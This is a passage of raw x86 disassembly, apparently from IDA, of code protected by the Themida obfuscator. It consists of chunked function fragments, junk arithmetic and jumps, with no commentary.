loc_554643: ; CODE XREF: sub_559C84+1144j
pop ebp
xchg eax, ecx
not ecx
xchg eax, ecx
sub eax, 1AEE36D4h
neg eax
xor eax, 0B509EA90h
add edi, eax
pop eax
push edx
push 48B6h
mov [esp+40h+var_42+2], eax
mov eax, 49C6579Fh
not eax
add eax, 49C657A2h
push eax
xor [esp+44h+var_46+2], 5E4B1DC2h
jmp loc_553DB5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E26B
loc_554679: ; CODE XREF: sub_55E26B-A01Fj
mov edx, [esp+8+var_8]
jmp loc_55B742
; END OF FUNCTION CHUNK FOR sub_55E26B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554681: ; CODE XREF: sub_559C84+2447j
sub eax, ecx
pop ecx
add ecx, eax
pop eax
jmp loc_55ACDA
; ---------------------------------------------------------------------------
loc_55468C: ; CODE XREF: sub_559C84+1549j
shl ecx, 4
add ecx, 209562DFh
mov ebx, ecx
jmp loc_55F11A
; ---------------------------------------------------------------------------
loc_55469C: ; CODE XREF: sub_559C84+40B4j
or esi, 7CAA2CDEh
jmp loc_553B7B
; ---------------------------------------------------------------------------
loc_5546A7: ; CODE XREF: sub_559C84-184Ej
push 3859h
mov [esp+40h+var_42+2], ebp
mov ebp, 4
sub ebx, ebp
pop ebp
jmp loc_55537E
; ---------------------------------------------------------------------------
loc_5546BC: ; CODE XREF: sub_559C84+4215j
mov ebp, edi
pop edi
add ecx, ebp
pop ebp
xchg ecx, [esp+34h+var_34]
mov esp, [esp+34h+var_34]
push [esp+34h+var_34]
pop eax
push 2364h
mov [esp+38h+var_3A+2], esi
mov esi, esp
push ebx
mov ebx, 0B257D9Dh
push 607h
mov [esp+40h+var_42+2], ebx
not [esp+40h+var_42+2]
pop ebx
sub ebx, 1
jmp loc_55641B
; ---------------------------------------------------------------------------
loc_5546F0: ; CODE XREF: sub_559C84+49B7j
mov edi, 2AEC7804h
xchg ecx, edi
not ecx
xchg ecx, edi
or edi, 12ED7F46h
jmp loc_55E87C
; ---------------------------------------------------------------------------
loc_554706: ; CODE XREF: sub_559C84-CB8j
mov [esp+3Ch+var_3E+2], ebx
jmp sub_555531
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55470E: ; CODE XREF: Themida_:00555916j
mov [esp], esp
push 1FDBh
mov [esp], ebx
mov ebx, 4
jmp loc_557176
; ---------------------------------------------------------------------------
loc_554723: ; CODE XREF: Themida_:005569D8j
not dword ptr [esp]
jmp loc_55FBB9
; ---------------------------------------------------------------------------
lodsb
sub al, 49h
add al, 9Eh
add al, bl
sub al, 9Eh
push edx
push ax
mov ah, 0FAh
add ah, 0FFh
shr ah, 1
sub ah, 0FBh
jmp loc_55F8B9
; ---------------------------------------------------------------------------
loc_554746: ; DATA XREF: Themida_:00553284o
push dword ptr [esp]
pop ecx
push 7359h
mov [esp], ecx
mov ecx, esp
push eax
push ebx
jmp loc_55E951
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55475B: ; CODE XREF: sub_559C84+399Ej
pop ecx
push esi
push [esp+3Ch+var_3A+2]
pop esi
pop [esp+3Ch+var_3E+2]
pop esp
push 60AAh
mov [esp+38h+var_3A+2], eax
push edx
jmp loc_556A16
; ---------------------------------------------------------------------------
loc_554774: ; CODE XREF: sub_559C84+2AC5j
movzx eax, al
pop small word ptr [edi+eax*4]
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
jmp loc_555B71
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FA73
loc_55478A: ; CODE XREF: sub_55FA73+Ej
push edi
jmp loc_55DACE
; END OF FUNCTION CHUNK FOR sub_55FA73
; =============== S U B R O U T I N E =======================================
sub_554790 proc near ; DATA XREF: Themida_:005534BCo
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005538AD SIZE 0000000C BYTES
mov ax, [esp+0]
push 57CBh
mov [esp+4+var_4], edi
mov edi, esp
jmp loc_5538AD
sub_554790 endp
; ---------------------------------------------------------------------------
loc_5547A3: ; CODE XREF: Themida_:00555967j
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_556E0B
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5547B0 proc near ; CODE XREF: sub_559C84+1E6Aj
var_8 = dword ptr -8
; FUNCTION CHUNK AT 005551CB SIZE 00000036 BYTES
; FUNCTION CHUNK AT 00556C4E SIZE 0000000A BYTES
push ebp
mov ebp, esp
push esi
jmp loc_5551CB
sub_5547B0 endp
; ---------------------------------------------------------------------------
loc_5547B9: ; CODE XREF: Themida_:00553A48j
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_55B00F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5547DA: ; CODE XREF: sub_559C84-3638j
mov cl, 0EAh
shr cl, 2
sub cl, 47h
sub cl, 0FCh
not cl
and cl, 6Bh
jmp loc_55EB83
; ---------------------------------------------------------------------------
loc_5547EF: ; CODE XREF: sub_559C84-45Aj
add ebx, 0A5309FAh
push esi
mov esi, 2FA8683Eh
shr esi, 1
or esi, 324912B8h
xchg ecx, esi
not ecx
xchg ecx, esi
jmp loc_55F4B8
; ---------------------------------------------------------------------------
loc_55480E: ; CODE XREF: sub_559C84-62FCj
add al, 0AFh
xor al, 2
add bl, 0B5h
add bl, al
sub bl, 0B5h
jmp loc_559470
; ---------------------------------------------------------------------------
loc_55481F: ; CODE XREF: sub_559C84+432Fj
pop esi
add edx, edi
add eax, [edx]
push [esp+48h+var_4A+2]
pop edx
push 696Ah
mov [esp+4Ch+var_4E+2], edx
jmp loc_554EA1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554572
loc_554835: ; CODE XREF: sub_554572+A789j
pop edi
pop dword ptr [esp+0]
pop esp
mov ax, [esp-8+arg_4]
push 72A6h
mov [esp-4+arg_0], esi
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
pop esi
add esi, 4
jmp loc_558924
; END OF FUNCTION CHUNK FOR sub_554572
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556F29
loc_55485C: ; CODE XREF: sub_556F29+8442j
shl ebx, 8
dec ebx
jmp loc_55C72B
; END OF FUNCTION CHUNK FOR sub_556F29
; ---------------------------------------------------------------------------
loc_554865: ; CODE XREF: Themida_:0055FBBAj
xchg edx, edi
jmp loc_55488A
; ---------------------------------------------------------------------------
loc_55486C: ; CODE XREF: Themida_:00555EAFj
mov eax, edx
mov edx, [esp]
add esp, 4
add [esp+4], eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554884: ; CODE XREF: sub_559C84-B0Dj
pop esi
jmp loc_55D2A7
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55488A: ; CODE XREF: Themida_:00554867j
push 0
sub [esp], edi
mov edi, [esp]
add esp, 4
jmp loc_55E751
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5548A0: ; CODE XREF: sub_559C84+1C1j
add ebx, 4
jmp loc_55A8C1
; ---------------------------------------------------------------------------
loc_5548AB: ; CODE XREF: sub_559C84-2AC7j
and ebx, 1CD9482Dh
jmp loc_557062
; ---------------------------------------------------------------------------
loc_5548B6: ; CODE XREF: sub_559C84+3DC0j
sub ebx, 0ADD7B96h
add ebx, edi
add ebx, 0ADD7B96h
sub ebx, 2A2655ABh
push dword ptr [ebx]
push edx
mov edx, 76BF0F52h
xor [esp+50h+var_4E+2], edx
pop edx
jmp loc_55C831
; ---------------------------------------------------------------------------
loc_5548DC: ; CODE XREF: sub_559C84+983j
push [esp+4Ch+var_4E+2]
push [esp+50h+var_52+2]
pop ebp
add esp, 4
jmp sub_55702F
; ---------------------------------------------------------------------------
loc_5548EB: ; CODE XREF: sub_559C84+590Dj
dec edx
xor edx, 584F0E3h
add ebx, 0F4B12A1h
jmp loc_559469
; ---------------------------------------------------------------------------
loc_5548FD: ; CODE XREF: sub_559C84+160Dj
add edx, 0FDBBD4C3h
mov edi, edx
jmp loc_554B6D
; ---------------------------------------------------------------------------
loc_55490A: ; CODE XREF: sub_559C84+9A7j
sub ecx, 4
xchg ecx, [esp+4Ch+var_4E+2]
pop esp
jmp loc_55F082
; ---------------------------------------------------------------------------
loc_554916: ; CODE XREF: sub_559C84-5FC3j
xor ebx, esi
jmp loc_553EF3
; ---------------------------------------------------------------------------
loc_55491D: ; CODE XREF: sub_559C84-573Ej
push edx
jmp loc_55D74F
; ---------------------------------------------------------------------------
loc_554923: ; CODE XREF: sub_559C84-51DBj
or edx, eax
shl edx, 1
sub esp, 4
jmp loc_55DCE1
; ---------------------------------------------------------------------------
loc_554932: ; CODE XREF: sub_559C84-2685j
pop esp
mov word ptr [esp+38h+var_3A+2], dx
push ax
pushf
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_55493F: ; CODE XREF: sub_555BE3+817Fj
mov esp, [esp+4+var_4]
mov ax, [esp-8+arg_4]
push 669Fh
mov [esp-4+arg_0], edi
push 5065h
mov [esp+0], esp
jmp loc_55634B
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55495B: ; CODE XREF: sub_559C84+2A4Aj
push [esp+3Eh+var_3E]
pop ecx
push ebp
mov ebp, esp
push ebp
mov ebp, esp
jmp loc_55C162
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55496A: ; CODE XREF: Themida_:0055FA30j
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55496F: ; CODE XREF: sub_559C84-2B65j
add al, 0C7h
sub al, dh
jmp loc_55C8BE
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_553DAA
; ---------------------------------------------------------------------------
loc_554981: ; CODE XREF: Themida_:00556E90j
push edi
mov edi, 4
add [esp+4], edi
pop edi
pop edi
add edi, 4
push eax
mov eax, 4
add edi, eax
pop eax
xor edi, [esp]
xor [esp], edi
jmp loc_55F705
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5549A7: ; CODE XREF: sub_559C84-4E6j
mov ecx, [esp+46h+var_46]
jmp loc_55A9B6
; ---------------------------------------------------------------------------
loc_5549AF: ; CODE XREF: sub_559C84+31B0j
mov edx, [esp+46h+var_46]
add esp, 4
add edx, 296C7ECCh
jmp loc_5555A7
; ---------------------------------------------------------------------------
loc_5549C3: ; CODE XREF: sub_559C84+281Cj
sub eax, 356C46BEh
add eax, 582A5C22h
sub eax, 7EE17301h
sub eax, ebx
push 1198h
mov [esp+46h+var_46], ecx
mov ecx, 7EE17301h
add eax, ecx
mov ecx, [esp+46h+var_46]
push ebx
jmp loc_55F518
; ---------------------------------------------------------------------------
loc_5549EC: ; CODE XREF: sub_559C84+30E8j
pop ecx
jmp loc_559542
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
dw 0D800h
; ---------------------------------------------------------------------------
add al, 24h
sub al, 25h
jmp loc_55D507
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5549FD: ; CODE XREF: sub_559C84+2BA8j
xor ecx, 14951956h
jmp loc_5595AC
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554A08: ; CODE XREF: Themida_:00556925j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_554A0D: ; DATA XREF: Themida_:0055325Co
push dword ptr [esp]
jmp loc_559746
; ---------------------------------------------------------------------------
push 1B8Bh
mov [esp], ebx
jmp loc_55848A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554A22: ; CODE XREF: sub_559C84-4E6Ej
add cl, 86h
sub cl, 0E5h
jmp loc_554ED8
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsb
sub esp, 4
mov [esp], ecx
push edx
mov dh, 7Ch
push edx
mov dl, 0B3h
not dl
jmp loc_556035
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_55AF12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554A69: ; CODE XREF: sub_559C84-2AF2j
push ecx
push edx
jmp loc_557134
; ---------------------------------------------------------------------------
loc_554A70: ; CODE XREF: sub_559C84+271Ej
shl dl, 5
jmp loc_55632A
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_55D634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554A87: ; CODE XREF: sub_559C84+F89j
sub bl, ah
sub bl, 39h
push [esp+4Eh+var_4E]
pop eax
jmp loc_55DD4C
; ---------------------------------------------------------------------------
loc_554A95: ; CODE XREF: sub_559C84+352Aj
push edx
mov edx, 1B455BF8h
jmp loc_5575F0
; ---------------------------------------------------------------------------
loc_554AA0: ; CODE XREF: sub_559C84+3B09j
pop esp
and eax, ecx
mov ecx, [esp+4Eh+var_4E]
add esp, 4
jmp loc_554923
; ---------------------------------------------------------------------------
loc_554AAE: ; CODE XREF: sub_559C84-404j
dec edx
push eax
mov eax, 664169D6h
xor edx, eax
pop eax
jmp loc_5582B8
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559B47
loc_554ABD: ; CODE XREF: sub_559B47+1j
mov bx, 0B23h
xor bx, 46A3h
sub bx, 288Fh
jmp sub_558B94
; END OF FUNCTION CHUNK FOR sub_559B47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554AD0: ; CODE XREF: sub_559C84+1A67j
pop [esp+4Ah+var_4A]
jmp loc_55E035
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554AD8: ; CODE XREF: Themida_:00554DF0j
xor edx, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554AE8: ; CODE XREF: sub_559C84+4D03j
xchg edi, [esp+46h+var_46]
pop esp
push ebp
jmp loc_55AE24
; ---------------------------------------------------------------------------
loc_554AF2: ; CODE XREF: sub_559C84-32FBj
pop ecx
jmp loc_553960
; ---------------------------------------------------------------------------
loc_554AF8: ; CODE XREF: sub_559C84+14E3j
add al, 0F2h
jmp loc_55F72D
; ---------------------------------------------------------------------------
loc_554AFF: ; CODE XREF: sub_559C84+145Bj
xor ebp, 4AA96FB4h
mov eax, ebp
jmp loc_55B9C7
; ---------------------------------------------------------------------------
loc_554B0C: ; CODE XREF: sub_559C84+351Ej
xor edi, [esp+42h+var_42]
pop esp
div ecx
push ebx
push 0AD5h
jmp loc_557711
; ---------------------------------------------------------------------------
loc_554B1D: ; CODE XREF: sub_559C84+245Fj
mov [esp+46h+var_46], edx
jmp loc_557161
; ---------------------------------------------------------------------------
loc_554B25: ; CODE XREF: sub_559C84-2642j
xor [esp+46h+var_46], edx
jmp loc_556312
; ---------------------------------------------------------------------------
loc_554B2D: ; CODE XREF: sub_559C84+2A1Cj
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_554B32: ; CODE XREF: sub_559C84-406Ej
sub esi, edi
mov edi, [esp+46h+var_46]
add esp, 4
push 1434h
mov [esp+46h+var_46], esi
pop edx
mov esi, [esp+42h+var_42]
add esp, 4
or ecx, ecx
jz loc_555B5C
push ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
push 2A09h
mov [esp+46h+var_46], ebx
jmp loc_55BFDD
; ---------------------------------------------------------------------------
loc_554B6D: ; CODE XREF: sub_559C84-537Fj
pop edx
sub edi, 0E2F34A4h
xchg eax, edi
not eax
jmp loc_554591
; ---------------------------------------------------------------------------
loc_554B7C: ; CODE XREF: sub_559C84+3089j
add esi, 4
add esi, 4
xchg esi, [esp+48h+var_4A+2]
mov esp, [esp+48h+var_4A+2]
add ecx, 4
sub ecx, 4
xor ecx, [esp+48h+var_4A+2]
jmp loc_555B98
; ---------------------------------------------------------------------------
loc_554B9F: ; CODE XREF: sub_559C84-2943j
push cx
jmp loc_556F8F
; ---------------------------------------------------------------------------
loc_554BA6: ; CODE XREF: sub_559C84-327Fj
sub edx, 2E3E36C2h
or edx, 57CF1307h
jmp loc_559E25
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5599A2
loc_554BB7: ; CODE XREF: sub_5599A2-3335j
push eax
mov eax, 73DC3C75h
mov ecx, 4FA4FC47h
add ecx, eax
pop eax
sub edx, ecx
mov ecx, [esp+0]
add esp, 4
xor eax, edx
mov edx, [esp-4+arg_0]
add esp, 4
jmp loc_55A8DF
; END OF FUNCTION CHUNK FOR sub_5599A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554BDD: ; CODE XREF: sub_559C84+9F1j
pop eax
add edi, ebx
push edx
mov edx, 67E70C28h
sub edi, edx
jmp loc_55ABA2
; ---------------------------------------------------------------------------
loc_554BED: ; CODE XREF: sub_559C84+2330j
push ecx
mov ecx, 17EF449Eh
add ecx, 720D52ECh
and ecx, 7CC61A82h
and ecx, 65BC2335h
xor ecx, 840204h
add eax, ecx
pop ecx
add eax, 4
xchg eax, [esp+4Ah+var_4A]
pop esp
add ebx, 4
add ebx, 4
xor ebx, [esp+46h+var_46]
jmp loc_555936
; ---------------------------------------------------------------------------
loc_554C2B: ; CODE XREF: sub_559C84+75Cj
push esi
push esp
pop esi
add esi, 4
push ebx
jmp loc_55DB42
; ---------------------------------------------------------------------------
loc_554C3A: ; CODE XREF: sub_559C84+3318j
push eax
jmp loc_55AC08
; ---------------------------------------------------------------------------
loc_554C40: ; CODE XREF: sub_559C84+4C15j
xor eax, [esp+52h+var_52]
xor [esp+52h+var_52], eax
jmp loc_5555FB
; ---------------------------------------------------------------------------
loc_554C4B: ; CODE XREF: sub_559C84-3D47j
pop bx
push ebx
mov bl, 5
shl bl, 4
add bl, 6Ch
jmp loc_5539C9
; ---------------------------------------------------------------------------
loc_554C5B: ; CODE XREF: sub_559C84+36E7j
add esp, 4
push edx
sub esp, 4
mov [esp+58h+var_58], esp
add [esp+58h+var_58], 4
mov edx, [esp+58h+var_58]
add esp, 4
add edx, 4
add edx, 4
xor edx, [esp+0]
jmp loc_559B90
; ---------------------------------------------------------------------------
loc_554C83: ; CODE XREF: sub_559C84+7B7j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_554C88: ; CODE XREF: sub_559C84+15Ej
add word ptr [esp+54h+var_52], 5235h
add word ptr [esp+54h+var_52], cx
sub word ptr [esp+54h+var_52], 5235h
push bx
jmp loc_55B7A4
; ---------------------------------------------------------------------------
loc_554CA2: ; CODE XREF: sub_559C84-2CC7j
movzx cx, al
jmp loc_555FEC
; ---------------------------------------------------------------------------
loc_554CAB: ; CODE XREF: sub_559C84+1421j
pop ebx
sub esp, 4
mov [esp+56h+var_58+2], edx
mov dl, 0ABh
not dl
or dl, 2Fh
add dl, 0A9h
sub dl, 0BDh
add dl, 0C3h
add bl, dl
mov edx, [esp+56h+var_58+2]
jmp loc_554DF5
; ---------------------------------------------------------------------------
loc_554CCF: ; CODE XREF: sub_559C84+1D07j
not ecx
and ecx, 28617C9Dh
add ecx, 3EB7CC2Fh
jmp loc_555CC9
; ---------------------------------------------------------------------------
loc_554CE2: ; CODE XREF: sub_559C84+4A2Ej
xor eax, [esp+56h+var_58+2]
mov esp, [esp+56h+var_58+2]
mul ecx
push ebp
mov ebp, esp
push edx
jmp loc_55E6EC
; ---------------------------------------------------------------------------
loc_554CF3: ; CODE XREF: sub_559C84-1BCCj
add esi, 258163B0h
pop ebx
xor esi, [esp+5Ah+var_5C+2]
xor [esp+5Ah+var_5C+2], esi
xor esi, [esp+5Ah+var_5C+2]
mov esp, [esp+5Ah+var_5C+2]
sub [esp+5Ah+var_5C+2], 0CC6158Dh
push 7200h
mov [esp+5Eh+var_60+2], ecx
push 1CAC02BDh
pop ecx
jmp loc_55457D
; ---------------------------------------------------------------------------
loc_554D20: ; CODE XREF: sub_559C84+37Ej
mov ah, 0BFh
mov bl, ah
jmp loc_55DC6B
; ---------------------------------------------------------------------------
loc_554D29: ; CODE XREF: sub_559C84-C92j
mov ecx, [esp+5Eh+var_60+2]
add esp, 4
push ebx
push 7FEBh
mov [esp+62h+var_64+2], esp
push ecx
mov ecx, 4
add [esp+66h+var_64+2], ecx
pop ecx
mov ebx, [esp+62h+var_64+2]
jmp loc_55A470
; ---------------------------------------------------------------------------
loc_554D4B: ; CODE XREF: sub_559C84-4FAj
mov ecx, 6AB11B86h
neg ecx
and ecx, 5B8C51EFh
sub ecx, 34047B19h
push ebp
push edi
push 537F1A37h
jmp loc_557B24
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_554D6A proc near ; CODE XREF: sub_559C84+2F0Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055E7C0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055FB38 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], esi
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
jmp loc_55FB38
sub_554D6A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554D80: ; CODE XREF: sub_559C84+5142j
sub [esp+6Eh+var_70+2], eax
add [esp+6Eh+var_70+2], 2E900F06h
add [esp+6Eh+var_70+2], 1A966F45h
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_554D96: ; CODE XREF: sub_559C84-34E8j
xor eax, 4FA76B07h
add edi, eax
pop eax
push ebp
mov ebp, 2F4E0C72h
or ebp, 5DE67DCh
sub ebp, 0FFFFFFFFh
xor ebp, 167C1EDEh
xor ebp, 39A27125h
add edi, 17ED4256h
jmp loc_55F1B0
; ---------------------------------------------------------------------------
loc_554DC7: ; CODE XREF: sub_559C84-621Fj
push esi
mov esi, 4
add eax, esi
jmp loc_55C8D5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554DD4: ; CODE XREF: Themida_:0055E762j
add esp, 4
push 5A4Ah
mov [esp], edi
mov edi, 2
add edx, edi
pop edi
xor edx, [esp]
xor [esp], edx
jmp loc_554AD8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554DF5: ; CODE XREF: sub_559C84-4FBAj
add esp, 4
sub bl, al
sub bl, 2Eh
pop ax
add al, bl
mov ebx, [esp+50h+var_52+2]
add esp, 4
push 5D4Eh
mov [esp+50h+var_52+2], ecx
mov cl, 0D4h
neg cl
jmp loc_554A22
; ---------------------------------------------------------------------------
loc_554E1B: ; CODE XREF: sub_559C84+533Bj
pop ecx
or edx, 6F4006ABh
xor edx, 7FEC2FAFh
jmp loc_55CB44
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
push 4371h
mov [esp], ebp
jmp loc_55FB01
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554E49: ; CODE XREF: sub_559C84+58ACj
mov edi, 736019C7h
push ebx
mov ebx, 43745012h
and edi, ebx
pop ebx
not edi
inc edi
dec edi
jmp loc_55CAF5
; ---------------------------------------------------------------------------
loc_554E60: ; CODE XREF: sub_559C84-4498j
mov eax, 1207254Bh
xor ecx, eax
pop eax
jmp loc_55E55A
; ---------------------------------------------------------------------------
loc_554E6D: ; CODE XREF: sub_559C84+3255j
pop bp
add si, 7FE3h
shl si, 5
jmp sub_559B47
; ---------------------------------------------------------------------------
loc_554E7D: ; CODE XREF: sub_559C84+3FA2j
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554E82: ; CODE XREF: Themida_:005560A0j
sub esp, 4
mov [esp], ecx
push 12C3h
mov [esp], edi
push ecx
mov ecx, 26CC0FC8h
jmp loc_55F462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554E9B: ; CODE XREF: sub_559C84+B98j
pop esp
jmp loc_55F9D2
; ---------------------------------------------------------------------------
loc_554EA1: ; CODE XREF: sub_559C84-5454j
mov edx, esp
push 3018h
mov [esp+50h+var_52+2], ebx
mov ebx, 4
add edx, 379E3B4Fh
add edx, ebx
sub edx, 379E3B4Fh
pop ebx
add edx, 4
jmp loc_5553B8
; ---------------------------------------------------------------------------
loc_554ECA: ; CODE XREF: sub_559C84+1CB2j
push esi
push esp
pop esi
jmp loc_559A18
; ---------------------------------------------------------------------------
loc_554ED2: ; CODE XREF: sub_559C84-58C4j
pop ecx
jmp loc_559A28
; ---------------------------------------------------------------------------
loc_554ED8: ; CODE XREF: sub_559C84-525Cj
sub cl, 0FFh
push 89h
mov [esp+4Ah+var_4A], ecx
push ax
push ebx
mov bh, dh
mov ah, bh
mov ebx, [esp+50h+var_52+2]
add esp, 4
mov dh, byte ptr [esp+4Ch+var_4A]
mov byte ptr [esp+4Ch+var_4A], ah
pop ax
not dh
push eax
mov ah, dh
mov dh, byte ptr [esp+4Eh+var_4A]
jmp loc_55517F
; ---------------------------------------------------------------------------
loc_554F0B: ; CODE XREF: sub_559C84-1718j
mov al, 3Fh
sub al, 0DAh
shl al, 8
inc al
add al, 0
add dh, al
pop eax
and dh, 1Eh
push eax
mov al, 4Ch
neg al
sub al, 8Ah
or al, 63h
dec al
xor al, 23h
xor dh, al
pop eax
sub al, dh
pop edx
push eax
push 3FEBh
mov [esp+4Eh+var_4E], esp
add [esp+4Eh+var_4E], 4
pop eax
push esi
mov esi, 77F1355Bh
shl esi, 7
add esi, 5FCA2BC5h
push 4DF7h
mov [esp+52h+var_52], edx
mov edx, 5864D941h
xor esi, edx
jmp loc_556B8D
; ---------------------------------------------------------------------------
loc_554F63: ; CODE XREF: sub_559C84-291Bj
mov edx, [esp+52h+var_52]
add esp, 4
shl edx, 4
add edx, 1
add edx, 0FFFFFFFFh
push esi
mov esi, 87924674h
jmp loc_558533
; ---------------------------------------------------------------------------
loc_554F83: ; CODE XREF: sub_559C84+1289j
mov edi, 1FFF6264h
sub esi, edi
pop edi
add esi, edx
add esi, 1FFF6264h
mov edx, [esp+4Eh+var_4E]
push eax
mov eax, esp
jmp loc_55EBD3
; ---------------------------------------------------------------------------
loc_554F9E: ; CODE XREF: sub_559C84+3F8Bj
xor eax, 0C6341A17h
mov esi, eax
pop eax
neg esi
add esi, 50557CE5h
sub edx, 7F590390h
add edx, 2A8F4C09h
sub edx, esi
sub edx, 2A8F4C09h
jmp sub_555089
; ---------------------------------------------------------------------------
loc_554FC7: ; CODE XREF: sub_559C84+41F1j
pop ecx
pop edi
jmp loc_5571D7
; ---------------------------------------------------------------------------
loc_554FCE: ; CODE XREF: sub_559C84+2092j
add [esp+46h+var_46], 4
pop ebx
push eax
push esi
mov esi, 694E2D80h
push esi
jmp loc_55B310
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_554FE3: ; CODE XREF: Themida_:00553E2Aj
mov edi, 4
sub esi, 2C5745A3h
jmp loc_55B16C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_554FF3: ; CODE XREF: sub_559C84-468Ej
pop ebx
push edi
mov edi, 23395854h
jmp loc_55F3BF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E51A
loc_554FFF: ; CODE XREF: sub_55E51A+6j
push esp
pop ecx
add ecx, 4
sub ecx, 4
jmp near ptr unk_5537FA
; END OF FUNCTION CHUNK FOR sub_55E51A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557976
loc_555012: ; CODE XREF: sub_557976+1A64j
xor bl, dh
jmp loc_557346
; END OF FUNCTION CHUNK FOR sub_557976
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_555019: ; CODE XREF: sub_559C84+5700j
mov edi, 379751B8h
shr edi, 5
xor edi, 0DB770DB4h
jmp loc_555FFD
; ---------------------------------------------------------------------------
loc_55502C: ; CODE XREF: sub_559C84+E45j
pop eax
jmp loc_557F99
; ---------------------------------------------------------------------------
loc_555032: ; CODE XREF: sub_559C84+5E7j
and ah, ch
pop ecx
add ah, 8
sub ah, 0CDh
jmp loc_55A886
; ---------------------------------------------------------------------------
loc_555040: ; CODE XREF: sub_559C84+1007j
xor edi, 0E51273Bh
jmp loc_55427B
; ---------------------------------------------------------------------------
loc_55504B: ; CODE XREF: sub_559C84+5021j
push 62D6h
